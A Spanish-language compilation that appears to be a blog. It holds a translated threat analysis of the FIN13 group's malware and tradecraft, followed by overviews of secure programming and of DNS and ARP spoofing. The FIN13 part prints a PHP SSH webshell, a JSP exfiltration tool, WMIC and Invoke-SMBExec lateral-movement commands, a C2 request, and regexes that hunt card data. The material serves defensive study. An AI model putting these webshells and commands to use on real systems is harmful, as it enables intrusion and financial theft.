El malware recolecta información del sistema mediante la ejecución de systeminfo.exe y el nombre de usuario, el nombre de la computadora, la información del parche del sistema, la lista de directorios de archivos de programa y la arquitectura están cifrados y codificados en base64. DRAWSTRING, posteriormente, realiza una solicitud HTTP POST por medio del puerto 443 con los datos del sistema capturados. Si bien esta comunicación utiliza el puerto 443, los datos no están a través de TLS/SSL y no están cifrados. El malware realiza 10 intentos de contactar al C2, durmiendo durante 10 segundos entre cada ronda. La respuesta se descifra, guarda y ejecuta.

Un ejemplo de llamada se ilustra en la Figura 11. Mandiant ha observado que FIN13 utiliza la misma dirección IP para DRAWSTRING y GOTBOT2 C2.

Figura 11: Ejemplo de solicitud DRAWSTRING POST

POST /cpl/api.php HTTP/1.0

Content-Type: application/x-www-form-urlencoded

host: <Ipv4 address>

Content-Length: 8094


Q=<BASE64 Encrypted Data>

Movimiento lateral

El grupo ha aprovechado, con frecuencia, Windows Management Instrumentation (WMI) para ejecutar comandos de forma remota y moverse lateralmente, es decir, empleando el comando wmic nativo, una versión del guion Invoke-WMIExec disponible públicamente, o WMIEXEC. El siguiente es un ejemplo de comando WMIC utilizado por FIN13, Figura 12:

Figura 12: Ejemplo del comando WMIC

wmic /node:"192.168.133.61" /user:"<victim>\<admin account>" 
/password:<admin password> process call create "powershell -noprofile -ExecutionPolicy Bypass -encodedCommand <Base64>"

En la misma investigación en la que FIN13 ha utilizado wmiexec.vbs, Mandiant también ha observado que el actor utiliza un entunelador personalizado del webshell JSP llamado BUSTEDPIPE para facilitar el movimiento lateral por medio de solicitudes web.

Mandiant también ha observado que FIN13 utiliza utilerías similares a Invoke-WMIExec, como la utilería Invoke-SMBExec de PowerShell, en un cliente de Managed Defense. El siguiente es un ejemplo de comando Invoke-SMBExec utilizado por FIN13, Figura 13:

powershell  -ExecutionPolicy Bypass -command "& { . 
C:\windows\temp\insm.ps1; Invoke-SMBExec -Username <user> -Command 
'cmd /c whoami  ' -Domain CB -Hash REDACTED:REDACTED -Target <IP address> }"

NIGHTJAR es un cargador de Java, observado durante múltiples investigaciones, el cual parece estar basado en el código que se encuentra aquí. NIGHTJAR escuchará en un socket designado, proporcionado en tiempo de ejecución en la línea de comando, para descargar un archivo y guardarlo en disco. Este malware no contiene un mecanismo de persistencia y se ha observado en el directorio C:\Windows\Temp o C:\inetpub\wwwroot. Se han observado dos versiones de la sintaxis de la línea de comandos, Figura 14, Figura 15.

Figura 14: Sintaxis de la línea de comandos de NIGHTJAR

[+] Usage: Host Port /file/to/save

Figura 15: Sintaxis secundaria de la línea de comandos de NIGHTJAR

[+] Usage: Interface[localhost] Port /rout/to/save

Para moverse lateralmente entre plataformas, FIN13 ha utilizado su webshell BLUEAGAVE y otros dos webshells PHP pequeños los cuales se utilizaron para ejecutar comandos de forma remota entre sistemas Linux por medio de SSH con un nombre de usuario y contraseña específicos. En la Figura 16 a continuación, se muestra un fragmento de uno de estos webshells.

Figura 16: Shell web ejecutivo SSH

<?php

error_reporting(0);

set_time_limit(0);

include('Net/SSH2.php');

$ip = file_get_contents('/dev/shm/22.txt');

$command = $_REQUEST['command'];

if($command=='')

{

}

else

{

foreach(preg_split("/((r?n)|(rn?))/", $ip) as $ips){

  $ssh = new Net_SSH2($ips);

  if ($ssh->login('<REDACTED>', '<REDACTED>')) {

echo "<pre>", $ips, "</pre><br>";

echo "<pre>", $ssh->exec($command), "</pre> <br>";

  }

  else

  {
echo "Login Failed  on $ips <br> n";
  }

}

print "El script ha finalizado";
}
?>

Mantener presencia

Las primeras intrusiones de FIN13 involucraron múltiples webshells genéricos para la persistencia, pero a lo largo de los años, FIN13 ha desarrollado una cartera de familias de malware tanto personalizadas como disponibles públicamente para utilizarlas como persistencia en el entorno.

En múltiples intrusiones, FIN13 implementó SIXPACK y SWEARJAR. SIXPACK es un webshell ASPX escrito en C# que funciona como entunelador. SIXPACK acepta datos de formulario HTTP los cuales contienen un host remoto y un puerto TCP para conectarse, un valor de tiempo de espera y datos codificados en Base64 para enviar después de conectarse al host especificado. SIXPACK lee los datos de respuesta y los devuelve al cliente original. SWEARJAR es una puerta trasera multiplataforma basada en Java que puede ejecutar comandos de shell.

En un caso, FIN13 implementó una puerta trasera llamada MAILSLOT, la cual se comunica por medio de SMTP/POP a través de SSL, enviando y recibiendo correos electrónicos desde y hacia una cuenta de correo electrónico configurada controlada por el atacante para su comando y control. MAILSLOT convierte a FIN13 en un caso poco común de un actor de amenazas que ha utilizado comunicaciones por correo electrónico para C2.

También han empleado una utilería personalizada de Mandiant llamada HOTLANE, la cual es un entunelador escrito en C/C ++ el cual puede operar en modo cliente o servidor y se comunica con un protocolo binario personalizado sobre TCP.

Además de su malware personalizado, FIN13 ha utilizado malware disponible públicamente, como la puerta trasera GOBOT2 y TINYSHELL.

Una utilería única disponible al público que ha utilizado el actor es un webshell PHP basado en PHPSPY, que Mandiant rastrea como SHELLSWEEP, contenía funcionalidad para recuperar información de tarjetas de crédito. La siguiente figura contiene un fragmento del webshell PHP,Figura 17.

Figura 17: Fragmento de código relacionado con PCI de PHP webshell disponible públicamente

$level = 1;

if (isset($_GET['level'])) $level = $_GET['level'];

$firmas = array("Estandar eval(base64_decode())" = 
 "/eval\s*\(\s*base64_decode\(\s*/", "eval(gzinflate
 (base64_decode()))" = > "/eval\s*\(gzinflate\s*\
 (\s*base64_decode\s*\(\s*/", "D4NB4R WAS HERE" = 
 > "/D4NB4R WAS HERE/", "md5(Safety)" = > 
 "/6472ce41c26babff27b4c28028093d77/", "md5(backdoor1)" 
 = > "/f32e7903a13ff43da2ef1baf36adeca9/", "WSO 2.1 
 (Web Shell by oRb)" = > "/10b27b168be0f7e90496dbc5fcfa63fc/", 
 "WSO 2.1 (Web Shell by oRb) 2" = > "/Web Shell by oRb/", 
 "milw0rm.com" = > "/milw0rm\.com/", "exploit-db.com" = > 
 "/exploit-db\.com/", "FilesMan" = > "/preg_replace\s*\
 (\s*(\"|')\/\.\*\/e(\"|')/", "CMD" = > '/(system|exec|passthru)\
 (\s*\$_GET\[([^\w\d]|\"|\')*cmd([^\w\d]|"|\')*\]\s*\)/', "CC's dump"=>
 "/num_tarjeta,codigo_sec,fecha_expira/i","root 12345"=>"/
 'root','12345'/i",);$level2=array("Pasarela (VPCPaymentConnection)
 "=>"/VPCPaymentConnection/","setSecureSecret(__GROUP__)
 "=>"/setSecureSecret\s*\(\s*(.+?)\s*\)/","__GROUP____PARSE_ARGS__"=>
 "/((ifx_connect|oci_connect|mysql_connect|pg_connect|mssql_connect|odbc_connect)
 \s*\(\s*.+?\s*\)\s*;)/i");if(intval($level)>1)
 {$firmas=array_merge($firmas,$level2);}$level3=array("CC's
  (__GROUP__)" = > "/[^\w](cc_?num(ber)?|credit_?card
  |cod_?sec|cvv|num_?cad|num_?exp|tarjeta|numero_?tarjeta
  |vence_?mes|vence_?ano|c_seg|exp_code?)[^\w]/i", "Visa CC's 
  (__GROUP__)"=>"/[^\d\w]((?:4[0-9]{12}(?:[0-9]{3})?)[^\d\w]
  /","MasterCard CC's (__GROUP__)" = > "/[^\d\w](5[1-5][0-9]{14})[^\d\w]/", 
"American Express CC's (__GROUP__)" =  "/([^\d\w]3[47][0-9]{13}[^\d\w])/");

Para ejecutar persistentemente sus puertas traseras, FIN13 ha utilizado llaves de ejecución del Registro de Windows como HKEYLOCALMACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\hosts la cual se configuró para ejecutar un archivo ubicado en C:\WINDOWS\hosts.exe. También han creado tareas programadas con nombres como acrotryr y AppServicesr para ejecutar binarios del mismo nombre en el directorio C:\Windows.

Completar la misión

Si bien muchas organizaciones están inundadas de ransomware, FIN13 monetiza con nostalgia sus intrusiones por medio del robo de datos dirigido para permitir transacciones fraudulentas. FIN13 ha exfiltrado datos comúnmente dirigidos, como volcados de proceso LSASS y llaves de registro, pero en última instancia se dirigió a usuarios eficaces para alcanzar sus objetivos financieros. En una intrusión, FIN13 enlistó, específicamente, todos los usuarios y roles principales del sistema de tesorería de la víctima. FIN13, posteriormente, se trasladó más a las partes sensibles de la red, incluidas las redes POS y ATM, donde podrían exfiltrar una variedad de datos altamente específicos.

En una víctima, FIN13 exfiltró archivos relacionados con Verifone, un software de uso común el cual facilita las transferencias de dinero en los sistemas POS. En al menos un caso, FIN13 exfiltró la carpeta base completa para un sistema POS la cual incluía dependencias de archivos, imágenes utilizadas para imprimir recibos y archivos .wav utilizados para efectos de sonido. En una víctima diferente, FIN13 robó de manera similar archivos de dependencia para el software del cajero automático de la víctima. La información robada, de sistemas importantes, para una transacción monetaria podría utilizarse para iluminar posibles vías de actividad fraudulenta.

FIN13 también interactuó con bases de datos para recolectar información sensible desde el punto de vista financiero. En una base de datos de las víctimas, FIN13 recuperó el contenido de las siguientes tablas para su exfiltración:

  • “claves_retiro” (English translation “withdrawal keys”)
  • “codigosretirosin_tarjeta” (English translation “keyless card withdrawal codes”)
  • “retirosefectivo” (English translation “cash withdrawal”)

Con el tesoro en la mano, FIN13 disfrazó sus datos almacenados mediante el uso de la utilería certutil de Windows para generar un certificado falso, codificado en Base64, con el archivo de entrada. El certificado contenía el contenido del archivo de almacenamiento, Figura 18, preparado para su exfiltración con declaraciones normales de inicio y finalización del certificado, como:

Figura 18: Datos de archive, por etapas, en certificado

-----BEGIN CERTIFICATE-----

UmFyIRoHAM+QcwAADQAAAAAAAABtB3TAkEgADWsDAV5qvgMCpojeh0SF+EodMyMA

IAAAAFVzZXJzXGFkbV9zcWxcQXBwRGF0YVxSb2FtaW5nXGwuZG1wALDbslQiIdVV

[truncated]

54Mt/3107vXRoa10YPmXffXCPQ+LF4vq3vhdKn+Z+tdaYeD/IgueHaxaff6yZMmT JkyZMmTepv/ExD17AEAHAA== —–END CERTIFICATE—–

FIN13, posteriormente, exfiltró los datos por medio de webshells previamente implementados en el entorno o utilizando una herramienta JSP simple, Figura 19, en un directorio accesible desde la web como: Figura 19: Ejemplo de JSP utilizado para el robo de datos

<%@ page buffer="none" %>

<%@page import="java.io.*"%>

<%String down="I:\\[attacker created dir]\\[attacker created archive]";

  if(down!=null){

  response.setContentType("APPLICATION/OCTET-STREAM");

  response.setHeader("Content-Disposition","attachment; filename=\"" + down + "\"");

  FileInputStream fileInputStream=new FileInputStream(down);

  int i;

  while ((i=fileInputStream.read()) != -1) {

  out.write(i);}fileInputStream.close();}%>

Aunque FIN13 apuntó a datos específicos los cuales podrían ayudar a transacciones fraudulentas, no siempre pudimos ser testigos de primera mano de cómo FIN13 capitalizó la información robada. En una víctima, pudimos recuperar una herramienta llamada GASCAN, la cual nos dio visibilidad de su juego final.

GASCAN es un malware basado en Java que procesa datos de punto de venta y envía mensajes especialmente diseñados a un servidor remoto especificado por la línea de comandos. Los datos enviados contienen un valor que corresponde a uno de los dos diferentes tipos de mensajes ISO 8583 y se pueden utilizar para construir transacciones fraudulentas ISO 8583. El primer tipo de mensaje, 0100, indica los datos correspondientes a un mensaje de autorización y se utiliza para determinar si existen fondos disponibles en una cuenta específica. Después de recibir el primer mensaje, el servidor C2 devuelve un búfer que incluye la cadena “Aprobada”. El segundo tipo de mensaje, 0200, contiene datos utilizados para un mensaje de solicitud financiera y se utiliza para contabilizar un cargo en una cuenta específica. La segunda estructura de mensaje incluye un campo llamado “monto”. El valor de “monto” se calcula utilizando una función interna que devuelve un número generado aleatoriamente entre 2000 y 3000, utilizado como el monto de la transacción enviada en el segundo mensaje. Según la información enviada, es probable que el servidor remoto especificado sea responsable de formatear y enviar el mensaje ISO 8583 para transacciones fraudulentas.

La muestra de GASCAN se adaptó al entorno de la víctima y los datos esperados de los sistemas POS utilizados por la organización. La misma víctima fue alertada de más de mil transacciones fraudulentas en un corto período de tiempo, por un total de millones de pesos o varios cientos de miles de dólares estadounidenses.

Conclusiones

En resumen, un Blue Team es un equipo de seguridad de la información encargado de proteger los activos críticos de una organización mediante el establecimiento de medidas de seguridad, la identificación de amenazas potenciales y la implementación de controles de seguridad eficaces. Estos controles pueden incluir análisis de huella digital, software de seguridad de puntos finales, soluciones IDS e IPS y SIEM, y la realización de investigaciones continuadas para detectar actividad inusual en el sistema. Los Blue Team también juegan un papel importante en la educación y concientización de los empleados sobre la seguridad de la información.

Programación Segura

¿Por qué surge la programación segura?

La importancia de la programación segura surge debido a la creciente dependencia de las tecnologías de la información y la conectividad en nuestra vida cotidiana y en los negocios. Con la proliferación de dispositivos conectados y aplicaciones en línea, la información y los datos confidenciales están más expuestos que nunca a ataques cibernéticos y compromiso.

Además, la información confidencial almacenada en los sistemas y aplicaciones puede incluir información personal, financiera y comercial valiosa, lo que hace que la seguridad de la información sea esencial para proteger tanto a las organizaciones como a los individuos. La programación segura es esencial para prevenir ataques cibernéticos, proteger la información confidencial y garantizar la continuidad del negocio.

La programación segura también es importante debido a las regulaciones y estándares aplicables a diferentes industrias. Muchas industrias, como la banca, la salud y la defensa, están sujetas a regulaciones y estándares rigurosos en cuanto a la seguridad de la información. La programación segura es esencial para cumplir con estas regulaciones y estándares y evitar sanciones legales y de cumplimiento.

Entonces… ¿Qué es exactamente la programación segura?

La programación segura es un proceso esencial en el desarrollo de software que busca garantizar la confidencialidad, integridad y disponibilidad de la información y los datos, así como prevenir y mitigar los riesgos de seguridad. Algunas de las metodologías comunes en programación segura incluyen:

  • La seguridad basada en riesgos: Esta metodología se enfoca en identificar y evaluar los riesgos asociados con una aplicación o sistema, y en tomar medidas para mitigarlos. Se realizan evaluaciones de riesgo para determinar la probabilidad de ocurrencia de un incidente y su impacto potencial en el negocio. Luego se toman medidas para mitigar o reducir el riesgo a un nivel aceptable.
  • La seguridad basada en la privacidad: Esta metodología se enfoca en garantizar la privacidad de los usuarios y la protección de sus datos personales. Se utilizan medidas de seguridad para proteger la privacidad de los usuarios y garantizar que sus datos personales se manejen de manera segura y respeten los estándares legales y regulaciones.
  • El desarrollo seguro de software: Esta metodología se enfoca en incorporar la seguridad en todas las etapas del ciclo de vida del desarrollo de software, desde la planificación hasta la implementación y mantenimiento. Se utilizan mejores prácticas y principios de seguridad en todas las etapas del proceso de desarrollo para garantizar la seguridad del software desde el inicio.

Metodología OWASP

OWASP (Open Web Application Security Project) es una metodología de seguridad de software libre y globalmente reconocida para mejorar la seguridad de las aplicaciones web. La metodología OWASP se basa en la idea de que la seguridad de las aplicaciones web debe ser una consideración importante durante todo el ciclo de vida del desarrollo de software.

La metodología OWASP se divide en dos partes principales: el OWASP Top Ten Project y el OWASP Application Security Verification Standard (ASVS). El OWASP Top Ten Project es una lista de las diez principales amenazas de seguridad de las aplicaciones web, mientras que el ASVS es un estándar de verificación de seguridad de aplicaciones que proporciona un marco para evaluar y medir la seguridad de las aplicaciones.

El OWASP Top Ten Project es una lista actualizada anualmente que proporciona una visión general de las principales amenazas a la seguridad de las aplicaciones web. La lista incluye amenazas como la inyección de SQL, la inyección de scripts, el robo de sesión, el abuso de funcionalidades, la vulnerabilidad de los componentes, la falta de seguridad en el almacenamiento de datos, la falta de seguridad en las comunicaciones, la falta de seguridad en la autenticación, la falta de seguridad en la autorización y la falta de seguridad en la configuración.

Por otro lado, el OWASP ASVS proporciona un marco para evaluar y medir la seguridad de las aplicaciones. El estándar incluye una serie de requisitos de seguridad para diferentes categorías, tales como autenticación, autorización, seguridad en las comunicaciones, seguridad en el almacenamiento de datos y seguridad en la configuración. Cada requisito se clasifica en tres niveles: básico, medio y alto.

La metodología OWASP es ampliamente utilizada en todo el mundo debido a su enfoque práctico y su enfoque en la seguridad de las aplicaciones web. Es utilizado por desarrolladores, auditores de seguridad, administradores de seguridad y otros profesionales de seguridad para mejorar la seguridad de las aplicaciones web. Además, la metodología OWASP es completamente gratuita y está disponible para cualquier persona interesada en mejorar la seguridad de las aplicaciones web.

Metodología CWE

CWE (Common Weakness Enumeration) es una metodología de seguridad de software desarrollada por MITRE Corporation. CWE proporciona una lista común y una taxonomía de debilidades de seguridad de software, con el objetivo de proporcionar un lenguaje común para describir las debilidades de seguridad y facilitar la detección, la prevención y la mitigación de las mismas. CWE es ampliamente utilizado por desarrolladores, auditores de seguridad y otros profesionales de seguridad para identificar y mitigar las debilidades de seguridad en las aplicaciones.

Metodología SEI CERT

SEI CERT (Computer Emergency Response Team) es una metodología de seguridad desarrollada por el Software Engineering Institute (SEI) de la Universidad Carnegie Mellon. SEI CERT proporciona una serie de recomendaciones y mejores prácticas para la seguridad de software, con el objetivo de ayudar a las organizaciones a desarrollar y mantener aplicaciones seguras. SEI CERT incluye un enfoque de ciclo de vida de seguridad de software y proporciona guías para la gestión de incidentes, la seguridad en el almacenamiento de datos y la seguridad en las comunicaciones.

Metodología DISA-ASD-STIG

DISA-ASD-STIG (Defense Information Systems Agency – Application Security and Development – Security Technical Implementation Guide) es una metodología de seguridad de software desarrollada por la Agencia de Sistemas de Información de Defensa (DISA) de los Estados Unidos. DISA-ASD-STIG proporciona recomendaciones y estándares para la seguridad de software, específicamente diseñado para el uso en entornos gubernamentales y militares. El objetivo de DISA-ASD-STIG es ayudar a las organizaciones a cumplir con los estándares de seguridad aplicables y a proteger los sistemas críticos contra ataques.

Metodología S-SDLC

S-SDLC (Secure Software Development Life Cycle). Se basa en verificar los requisitos de seguridad a lo largo de las distintas fases de construcción del software: análisis, diseño, desarrollo, pruebas y mantenimiento. Sobre todo, durante las dos ya que gran parte de las debilidades de los sistemas se generan incluso antes de comenzar las tareas de programación. Las claves del S-SDLC son la atención al detalle, para favorecer la identificación inmediata de las vulnerabilidades; y la mejora continua.

Metodología CLASP

CLASP (Comprehensive Lightweight Application Security Process). Proyecto del OWASP que establece una serie de actividades, roles y buenas prácticas dirigidas a coordinar los procesos de desarrollo seguro de software. La organización OWASP CLASP se asienta en cinco perspectivas o vistas que abordan los conceptos generales de esta metodología, la distribución de funciones, la valoración de las actividades aplicables, la implementación de estas actividades, y el listado de problemas que pueden dar lugar a la aparición de vulnerabilidades.

Herramientas automatizadas

Existen varias herramientas automatizadas que ayudan a los desarrolladores a implementar la seguridad en sus aplicaciones, tales como: Escáneres de vulnerabilidades: estas herramientas analizan el código y los sistemas en busca de vulnerabilidades conocidas.

  • Herramientas de análisis de código: estas herramientas buscan patrones de código inseguros y ayudan a corregirlos. Por ejemplo, herramientas de detección de vulnerabilidades de código como SAST (Static Application Security Testing) y DAST (Dynamic Application Security Testing) buscan problemas de seguridad en el código fuente y en el comportamiento en tiempo de ejecución, respectivamente.

SAST

SAST es una técnica de prueba de seguridad que se lleva a cabo durante el desarrollo de software, analizando el código fuente de una aplicación para detectar vulnerabilidades potenciales. Herramientas de SAST como Veracode, Checkmarx, y Fortify, buscan patrones de debilidad común en el código, y generan informes de vulnerabilidades con detalles de la ubicación y gravedad de las mismas. Es importante aplicar SAST para detectar debilidades temprano en el ciclo de vida del desarrollo, permitiendo así corregirlas antes de que la aplicación sea publicada.

DAST

DAST (Dynamic Application Security Testing) es una técnica de prueba de seguridad que se lleva a cabo sobre una aplicación que ya está en producción, simulando ataques en tiempo real para detectar vulnerabilidades en la aplicación. Herramientas como OWASP ZAP, Nessus, y Burp Suite, son utilizadas para simular ataques automatizados y generar informes de vulnerabilidades encontradas. Es importante aplicar DAST para detectar debilidades en la seguridad en aplicaciones ya lanzadas y asegurar la seguridad en tiempo real.

La importancia de aplicar tanto SAST como DAST es crucial para garantizar la seguridad de las aplicaciones y proteger tanto a las organizaciones como a los usuarios finales de los ataques cibernéticos. Además de detectar y mitigar vulnerabilidades, el uso de ambas metodologías ayuda a cumplir con regulaciones y estándares de seguridad aplicables, y mejora la confianza en la seguridad de la información y la reputación de la organización. Aplicar ambas metodologías también permite obtener una visión completa de la seguridad de la aplicación, tanto en el desarrollo como en la producción, lo que ayuda a identificar y corregir vulnerabilidades de manera temprana y eficiente.

En resumen, SAST y DAST son metodologías complementarias de pruebas de seguridad de software que ayudan a detectar y mitigar las debilidades de seguridad en las aplicaciones. Es importante aplicar ambas metodologías para garantizar la seguridad de las aplicaciones, cumplir con regulaciones y estándares de seguridad, y mejorar la confianza en la seguridad de la información y la reputación de la organización. Existen varias herramientas disponibles en el mercado para llevar a cabo estas pruebas, las cuales ofrecen informes detallados y fáciles de entender para ayudar a las organizaciones a tomar decisiones informadas sobre la seguridad de sus aplicaciones.

  • Herramientas de pruebas de penetración: estas herramientas simulan ataques maliciosos para identificar las vulnerabilidades existentes en un sistema o aplicación. Por ejemplo, herramientas como Metasploit o Nessus son utilizadas para realizar pruebas de penetración automatizadas.

Principales fallos que solventa la programación segura

La programación segura busca solventar varios problemas comunes de seguridad en las aplicaciones, entre ellos podemos mencionar:

  • Inyección de código: Es uno de los ataques más comunes que aprovechan las debilidades en la validación de datos de entrada, permitiendo a un atacante insertar código malicioso en una aplicación. La programación segura proporciona mecanismos para validar y sanear los datos de entrada, lo que ayuda a mitigar este tipo de ataques.
  • Buffer-overflow: Ocurre cuando un programa escribe más datos en un buffer de lo que puede contener, causando una sobreescritura de memoria adyacente. Esto puede permitir a un atacante ejecutar código malicioso o tomar el control del sistema afectado. Los desarrolladores deben tomar medidas para evitar este tipo de fallos de seguridad, como validar los tamaños de los buffers y utilizar funciones especiales para copiar datos seguros en los buffers.
  • Cross-Site- Scripting (XSS): Ocurre cuando un atacante inserta código malicioso en una página web, permitiéndoles ejecutar scripts en el navegador de un usuario que visita esa página. Este código malicioso puede robar información del usuario, como contraseñas o datos de tarjetas de crédito, o incluso utilizar la sesión del usuario para realizar acciones en su nombre. Los desarrolladores deben tomar medidas para evitar estos fallos de seguridad, como la validación y la sanitización de datos de entrada, y utilizar técnicas de escape adecuadas para evitar la inyección de scripts maliciosos.
  • Sesiones inseguras: Muchas aplicaciones tienen debilidades en la gestión de sesiones, permitiendo a los atacantes interceptar o suplantar sesiones de usuarios legítimos. La programación segura proporciona mecanismos para asegurar la autenticación y autorización de usuarios, así como para proteger la privacidad y la integridad de las sesiones.
  • Acceso no autorizado: Las aplicaciones a menudo tienen debilidades en el control de acceso, permitiendo a los atacantes acceder a información o funcionalidades no autorizadas. La programación segura proporciona mecanismos para restringir y controlar el acceso a la información y las funcionalidades de una aplicación.
  • Vulnerabilidades en el almacenamiento de datos: Muchas aplicaciones tienen debilidades en el almacenamiento de datos, como la falta de cifrado o la gestión inadecuada de contraseñas, lo que permite a los atacantes acceder a información confidencial. La programación segura proporciona mecanismos para proteger la información almacenada y garantizar la privacidad y la seguridad de los datos.
  • Falta de pruebas de seguridad: Muchas aplicaciones no son sometidas a pruebas de seguridad adecuadas antes de su lanzamiento, lo que permite a los atacantes descubrir y explotar vulnerabilidades no detectadas. La programación segura proporciona mecanismos para realizar pruebas de seguridad automatizadas y manuales para detectar y corregir vulnerabilidades antes del lanzamiento.

Conclusión

La programación segura es un proceso esencial que incluye metodologías, herramientas automatizadas, educación y capacitación, así como un enfoque en las mejores prácticas y principios de seguridad. Es esencial para proteger la información y los datos confidenciales, prevenir ataques cibernéticos y garantizar la continuidad del negocio. Es importante que los desarrolladores estén conscientes de la importancia de la programación segura y estén preparados para implementar medidas de seguridad en sus proyectos de desarrollo de software.

Hablemos de seguridad en la red

¿DNS Spoofing?

El servicio DNS sirve para traducir los nombres de dominio en direcciones IP y normalmente se ejecuta en el puerto 53 UDP. Veamos un ejemplo simple para entender todos los roles implicados en la comunicación jerárquica DNS:

Queremos conectarnos a www.google.com. Como esta dirección no está almacenada en nuestra Caché DNS, le preguntamos al Resolver, que es un servidor DNS de nuestro Internet Service Provider (ISP).

El Resolver comprueba si tiene www.google.com en su caché. No lo tiene, por lo que pregunta al Root Server. Los Root Server son 13 y están en la raíz del sistema jerárquico DNS:

El Root Server ve que la petición es a un dominio .COM, por lo que redirige la petición a un TLD Server.

Un TLD Server almacena la información de dominios de nivel superior como .COM, .NET, .ORG, etc, y redirige la petición al Authority Name Server que conoce la información sobre el dominio google.com

Finalmente, el Authority Name Server de google.com recibe la petición y devuelve la dirección IP perteneciente al subdominio www.google.com

Tanto nuestra caché DNS como la del servidor DNS del ISP se actualizan, de forma que la próxima vez que queramos acceder a www.google.com no hará falta pedir la IP (mientras dure en caché).

¿Qué es el DNS Spoofing?

Dado que los servidores de nombres de dominio conectan a los usuarios con la IP de la página que buscan, el envenenamiento de DNS o DNS spoofing consiste en modificar las direcciones IP en los servidores DNS de la víctima. De este modo, los delincuentes pueden redirigir el tráfico de la víctima hacia sitios web falsos. Allí, al ser engañados, los usuarios podrían proporcionar datos confidenciales o instalar un software malicioso en el sistema.

Un ataque de envenenamiento DNS puede dirigirse a diferentes tipos de servidores. Finalmente, lo importante para el atacante es poder indicarle a dicho servidor que dirija a la víctima a una IP falsa cuando ingrese determinado nombre de dominio en el navegador. Por eso, el DNS spoofing se relaciona generalmente con ataques de pharming (tipo de ciberataque en el que un cibercriminal clona una página web con el fin de que sus víctimas ingresen en ella y proporcionen datos confidenciales. El pharming se concentra en recolectar datos financieros y credenciales de usuarios).

Tipos de DNS Spoofing

Existen cuatro formas de ejecutar este ataque:

1. DNS spoofing local. Un cibercriminal podría instalar un malware o modificar manualmente el servidor DNS local de la víctima. Este servidor se encuentra directamente en el equipo del usuario.

2. DNS spoofing en el router. Los hackers maliciosos también pueden explotar vulnerabilidades de los servidores DNS del router de internet de una víctima.

3. Man In The Middle. Los atacantes interceptan la comunicación entre el usuario y el servidor DNS, modificando las IP que recibe el ordenador de la víctima.

4. DNS spoofing del servidor. En este caso, los delincuentes identifican fallos de seguridad en servidores DNS y los hackean, modificando las bases de datos de direcciones IP y redirigiendo a las víctimas a sus sitios web falsos.

Defensa 

Han surgido protocolos que hacen que el DNS spoofing sea cada vez más inviable para hacer ataques de pharming.

HTTP Strict Transport Security

El HTTP Strict Transport Security (HSTS) es una política de seguridad que establece que sólo puede accederse a un sitio web mediante comunicación cifrada por el usuario. Este protocolo ha quedado escrito en el código fuente de muchos dominios web, lo cual hace imposible no acceder a uno si no es con comunicación HTTPS.

Cabe aclarar que todavía faltan algunos dominios por incluir esta política en sus sistemas y eso los hace más vulnerables a un ataque DNS spoofing. 

Evita redes wifi desconocidas

Los servidores DNS pueden ser interferidos desde varios puntos y el router de red es uno de ellos. Por lo tanto, al conectarte a una red wifi pública, te expones a que alguien esté modificando los servidores DNS y redirigiendo el tráfico maliciosamente. De este modo, podrías convertirte en víctima de un ataque de pharming.

¿ARP Spoofing?

ARP viene de Address Resolution Protocol y lo podemos traducir como protocolo de resolución de direcciones. Se trata de un protocolo muy importante en la red que tiene como misión encontrar la dirección MAC que corresponde a una dirección IP de un equipo. Para conseguir esto se envía una solicitud ARP (ARP request), esperando la MAC del dispositivo que responda con el ARP reply.

Hay que tener en cuenta que, para navegar por la red, y poder enviar paquetes de datos a través de TCP/IP, el dispositivo va a necesitar conocer algunos datos clave como la máscara de subred, la dirección IP y la dirección MAC.

Cada dispositivo recibe tanto la máscara de subred como la dirección IP de manera automática al establecer la conexión. Posteriormente se vincula la dirección MAC o dirección de hardware con una dirección IP a través de lo que conocemos como ARP.

Podemos decir por tanto que el protocolo ARP es imprescindible para transmitir datos en redes Ethernet, ya que las tramas de datos únicamente pueden enviarse con la ayuda de una dirección MAC. Además, el protocolo IPv4 no puede almacenar las direcciones físicas (MAC) de los dispositivos, por lo que resulta fundamental este protocolo para nuestras conexiones.

El problema es que este protocolo en ocasiones presenta vulnerabilidades. Es por ello que puede haber suplantación de ARP o también conocido como ARP Spoofing.

¿ARP Spoofing?

Básicamente es el envenenamiento de las tablas ARP y es una técnica que utilizan los piratas informáticos para lograr entrar en una red con el fin de robar los paquetes de datos que pasan por la red local. De esta forma podría controlar el tráfico y también incluso detenerlo.

Los ciberdelincuentes pueden enviar mensajes falsificados ARP a una LAN, teniendo primero que vincular su dirección MAC con la dirección IP de un servidor, es decir, suplantan a nivel de red al servidor para que los ARP Request que vayan con destino la IP del servidor terminen en el dispositivo del atacante, que responderá con su MAC suplantando así al servidor, ya que desde ese instante el dispositivo que envió la solicitud ARP guarda en su tabla ARP la MAC del cibercriminal. Por lo que, la próxima vez que quiera enviar un paquete a la IP del servidor, consultará su tabla ARP y verá a qué MAC debe enviarlo, sin embargo, se encontrará una MAC no deseada.

Esto supone un problema muy importante para empresas y usuarios particulares. Ya sabemos que hoy en día en Internet hay muchos tipos de ataques, muchas amenazas que de una u otra forma buscan robar información y comprometer la privacidad. Con el ARP Spoofing un atacante puede llegar a robar datos sensibles de una empresa o usuario que pueden incluir nombres de usuario, contraseñas, conversaciones, cookies… En definitiva, información que pueden comprometer a una organización o a cualquier usuario particular.

Tipos de ARP Spoofing o Poisoning

Hay dos formas generales en las que puede ocurrir un ataque de envenenamiento de ARP: el atacante puede esperar a ver las solicitudes de ARP para un objetivo en particular y emitir una respuesta, o enviar un mensaje de difusión no solicitado conocido como ARP gratuito. El primer enfoque es menos perceptible en la red, pero potencialmente de menor alcance en sus impactos. Un ARP gratuito puede ser más inmediato e impactar a un mayor número de víctimas, pero tiene la desventaja de generar mucho tráfico en la red.

Ataque Man-in-the-Middle (MiTM)

Los ataques MiTM son probablemente el objetivo más común y potencialmente más peligroso del envenenamiento por ARP. El atacante envía respuestas ARP falsificadas para una dirección IP dada, generalmente la puerta de enlace predeterminada para una subred en particular. Esto hace que las máquinas de las víctimas llenen su caché ARP con la dirección MAC de la máquina del atacante, en lugar de la dirección MAC del router local. Las máquinas de las víctimas enviarán incorrectamente el tráfico de red al atacante. Herramientas como Ettercap permiten al atacante actuar como un proxy, viendo o modificando información antes de enviar el tráfico a su destino previsto. Para la víctima, todo puede parecer normal.

Combinar el envenenamiento ARP con el envenenamiento DNS puede aumentar drásticamente la efectividad de un ataque MiTM. En este escenario, un usuario víctima podría ingresar en un sitio legítimo como google.com y recibir la dirección IP de la máquina del atacante, en lugar de la dirección correcta.

Ataque de denegación de servicio (DoS)

